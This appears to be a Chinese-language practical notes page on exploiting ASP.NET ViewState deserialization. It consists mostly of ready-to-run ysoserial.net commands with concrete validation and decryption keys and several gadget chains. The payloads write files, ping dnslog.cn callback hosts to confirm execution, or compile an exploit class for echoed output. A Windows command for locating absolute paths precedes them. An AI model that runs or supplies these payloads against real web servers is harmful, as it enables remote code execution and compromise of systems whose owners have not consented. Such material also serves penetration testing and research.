.net
Source
Edit
History

viewstate反序列化实战

反序列化

先决条件

1.爆绝对路径

1
for /r 目录名 %i in (匹配模式1,匹配模式2) do @echo %i
1
for /r C:\ in (*.pdf) do @echo %i >%i.txt

如果命令执行成功，会在同目录下生成pdf.txt的文件，内容为绝对路径

针对.NET Framwork 4.5及以上版本：

1
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

针对.NET Framwork 4.0及以上版本

1
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping p0xxwc.dnslog.cn" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"

其他链子

1
2
3
4
5
6
7
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --generator=E6DD55AA --validationalg="SHA1" --validationkey="5C46C5F56FF25BFEA2B2AFB59CAC455ED201C68E3BC13CB9" --decryptionKey="73B0F4F54E3F21B1DA72E7A69423EC1A99B3D1939647EB8E"

ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "ignore" --generator=E6DD55AA --validationalg="SHA1" --validationkey="5C46C5F56FF25BFEA2B2AFB59CAC455ED201C68E3BC13CB9" --decryptionKey="73B0F4F54E3F21B1DA72E7A69423EC1A99B3D1939647EB8E"

ysoserial.exe -p ViewState -g TypeConfuseDelegateMono -c "ping eqdssv.dnslog.cn" --generator=21729F5D --validationalg="SHA1" --validationkey="5C46C5F56FF25BFEA2B2AFB59CAC455ED201C68E3BC13CB9" --decryptionKey="73B0F4F54E3F21B1DA72E7A69423EC1A99B3D1939647EB8E"

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9"(有回显)

如果不知道_VIEWSTATEGENNERATOR参数，就需要知道其路径–path=”/somepath/testaspx/test.aspx” –apppath=”/testaspx/“

参考文章：
https://www.4hou.com/posts/GYq7
https://github.com/Illuminopi/RCEvil.NET
https://github.com/pwntester/ysoserial.net
http://www.smatrix.org/forum/forum.php?mod=viewthread&tid=331
(出处: 安全矩阵)
https://www.bus123.net/post/11653.html
https://xz.aliyun.com/t/3019